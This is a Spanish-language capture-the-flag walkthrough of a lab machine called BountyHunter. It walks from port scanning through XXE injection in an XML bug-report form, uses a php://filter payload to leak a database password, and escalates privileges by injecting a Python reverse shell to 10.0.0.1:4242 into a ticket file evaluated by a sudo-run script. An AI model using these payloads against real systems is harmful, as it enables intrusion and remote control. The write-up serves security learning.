BountyHunter

• Vamos a resolver la máquina BountyHunter de dificultad fácil.
• Al tener nuestro primer acercamiento con el objetivo, podimos visualizar algunos puertos abiertos como primer paso a nuestra solución. Los puertos obtenidos son los siguientes:

◇ PORT STATE SERVICE VERSION
■ 22/tcp open ssh OpenSSH 8.2p1 Ubuntu
■ 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

◇ Solo logramos capturar estos puertos posibles, ahora procederemos a realizar inteligencia sobre el objetivo
◇ Se logra captar algunos directorios con ayuda de Gobuster, los cuales fueron:
■ /css
■ /assets
■ /resources
◇ Al revisar estos directorios tuvimos un bloqueo en dos de ellos, para el tercero fue posible acceder, en el veremos algunos archivos interesantes, uno de los cuales está vacío, aparentemente, si hacemos curl nos da un indicio que el archivo si puede tener información, pero al parecer está protegido.
◇ Seguimos con nuestra inteligencia y podemos dar con un formulario donde se ingresan algunos datos, lo probamos y la respuesta sale en la parte de abajo con un mensaje “Si la DB estuviera lista, estos datos se habrían agregado” esto quiere decir que existe una posibilidad de que el objetivo tenga una DB interna u oculta, acá realizaremos nuestras pruebas, (debeo aprender a identificar vulnerabilidades con burp). Si intentamos realizar SQLi, lo màs probables es que no funcione, el mismo servicio nos dice que no se ha implementado aùn, entonces ¿que sucede si usamos el servicio? ¿Què sucede si interceptamos la petición, què podemos ver?
◇ Después de realizar inteligencia al servicio podemos ver que se realiza una petición post y se envía un parámetro con el “data”, ¿qué sucedería si intentamos algunas inyecciones de código o comandos? Después de pasar horas y horas buscando para conocer la vulnerabilidad y como se explotaría, primero debemos identificar como es la petición antes de viajar por el servicio (consumir el API), esta información viaja codificada en URL y base 64, desciframos los datos y logramos lo siguiente:

■ <?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>test</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>

Esto nos da una pista, es un archivo XML, como habíamos investigado, dimos con varias inyecciones en los parámetros uno de ellos es sobre XML con DDT, una inyección XXE con entidades externas, por lo tanto vamos a realizar la siguiente prueba

■ <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE a [<!ENTITY xxe "psobleXXE">]>
<bugreport>
<title>test</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>&xxe;</reward>
</bugreport>

◇ Si revisamos el archivo “passwd”, vamos a encontrar un usuario que ha tenido acceso a nuestro objetivo:
■ “development:x:1000:1000:Development:/home/development:/bin/bash”
◇ Siguiendo con la prueba podemos evidenciar que la inyección fue exitosa, eso quiere decir que ya sabemos como explotar el servicio, por lo tanto solo restaría seguir buscando la brecha para poder tener acceso, antes encontramos unos documentos que no podíamos visualizar, ¿será que ahora sí?
■ Reemplazando el fragmento siguiente en la inyección, logramos obtener la información, si exites una DB, solo que el archivo estaba protegido. El siguiente fragmento se agrega en remplazo de “posibleXXE”, con este fragmento podemos evitar la verificación de paquetes devueltos (hay que buscar que significa pero ya podemos hacernos una idea)
- "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php"
◇ Ahora obtendremos el siguiente dato después de descrifrar la información de base 64:
■ <?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
■ Al parecer es de un usuario y la DB es local, eso explica porque no vimos un puerto.

◇ Tenemos usuario y contraseña, al centro y pa' dentro.

• Escalado de privilegios
◇ Al entrar con el usuario, realizamos una enumeración para detectar posibles brechas, sudo -l no da una información, en dicho archivo encontramos un script de python que se ejecuta con privilegios de administración, si revisamos el documento “contracts.txt” veremos porqué.
◇ Según el script, debemos tener un ticket de este estilo:
■ Extensión .md
■ Iniciar el contenido con # Skytrain Inc
■ Siguiente línea ## Ticket to
■ Siguiente línea __Ticket Code:__
■ Siguiente línea **158
◇ Debemos crear un archivo, podemos realziar prueba y error después de leer el script de python, al realizar las pruebas obtenemos algo parecido a lo siguiente:
■ #Skytrain Inc
■ ## Ticket to milan
■ __Ticket Code:__
■ **158+ 2 == 160 and exec(python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1", 4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])')
◇ Y hemos obtenido un acceso al administrador.